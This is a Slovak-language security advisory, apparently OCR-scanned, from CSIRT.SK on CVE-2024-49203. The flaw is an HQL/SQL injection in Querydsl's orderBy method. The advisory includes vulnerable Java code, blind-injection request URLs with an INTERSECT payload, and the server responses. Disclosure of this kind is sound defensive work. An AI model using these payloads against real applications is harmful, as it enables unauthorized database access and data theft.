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Bezpeénostni analytici CSIRT.SK objavili zranitelnost CVE-2024-49203 v Java kniZnici Querydsl, ktora
umoziiuje vykondavat atoky typu SQL/HQL injection.

Zranitelné systémy:

e querydsl-jpa—5.1.0

e querydsl-apt—5.1.0

e hibernate-core — 6.1.1.Final

e jakarta.persistence-api—3.1.0
postgresql —42.7.4

Na uvedenych verzidch bola zranitelnost potvrdené. Nevylucujeme vsak, Ze je pritomnd aj na dalSich
verzidch.

Opis Cinnosti:
CVE-2024-49203

Zranitelnost sa nachadza v najnovsej verzii kniznice Queryds/ asuvisi s absenciou oSetrovania
pouzivatelskych vstupov, ktoré prebera funkcia orderBy(OrderSpecifier order). Tato metdda sluzi na
usporiadanie vysledkov databazovych dopytov. V pripade, Ze sa premenna order generuje pomocou
pouzivatelskych vstupov, je mozné prostrednictvom tejto premennej vykonavat HQL dopyty.

V pripade, Ze sa v kéde nachadza nasledujuci uryvok:

OrderSpecifier order = new OrderSpecifier(Order.ASC, pathBuilder.get(orderBy));
JPAQuery<Test> orderedQuery = query.orderBy(order);

return orderedQuery.fetch();

kde hodnota premennej orderBy je poskytnuta pouZivatelom, dand aplikdcia je zranitelna.
Ked pouZivatel navstivi stranku:

http://localhost:8000/products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELEC
T+'2')='2'+ORDER+BY+t.id HTTP/1.1

vie vykonat takzvanu blind SQL injection, kde svoj SQL prikaz d4 na miesto SELECT+'2' a nasledne skisa
akej hodnote sa rovna vysledok daného SQL prikazu nahradenim '2' za vSetky moZné hodnoty.

V nasom priklade sa vygeneruje nasledovny SQL dopyt:

SELECT t1 FROM Test t1 Order By t1.name INTERSECT SELECT t FROM Test t WHERE (SELECT '2')="2"
ORDER BY t.id ASC
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V nasom priklade by utocnik ziskal vSetky hodnoty pritomné v tabulke Test, kedZe (SELECT+'2')="2' sa
vyhodnoti ako True a teda sa spravi prienik vSetkych prvkov v tabulke Test t1 a Test t, ktory je rovny
vSetkym prvkom v tabulke Test.

Odpoved by teda vyzerala nasledovne:
HTTP/1.1 200

Content-Type: application/json

Date: Tue, 08 Oct 2024 13:34:57 GMT

Content-Length: 27

[{"id":1,"name":"test123"}]
V pripade, Ze navstivime stranku:

http://localhost:8000/products?orderBy=name+INTERSECT+SELECT+t+FROM+Test+t+WHERE+(SELEC
T+'1')='2'+ORDER+BY+t.id HTTP/1.1

Kde sa podmienka vo WHERE casti vyhodnoti ako False dostaneme nasledovnu odpoved:
HTTP/1.1 200

Content-Type: application/json

Date: Tue, 08 Oct 2024 13:36:30 GMT

Content-Length: 2

(]

Zranitelnost bola overovana s pouZitim nasledujucich verzii kniznic:

e querydsl-jpa—5.1.0

e querydsl-apt—5.1.0

e hibernate-core —6.1.1.Final

e jakarta.persistence-api—3.1.0
e postgresql—42.7.4

O existencii zranitelhosti sme informovali autorov kniznice 9. 10. 2024.
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Mozné skody:

e Unik citlivych informécii
e Denial of service

Odporucania:
Pokial' pri vyvoji webovej aplikacie v jazyku Java vyuZivate kniznicu Querydsl a pouzivate

metddu orderBy s pouZitim pouZivatelskych vstupov, odporiéame dodatocne oSetrit
pouzivatelské vstupy v rdmci best practice bezpeéného vyvoja.
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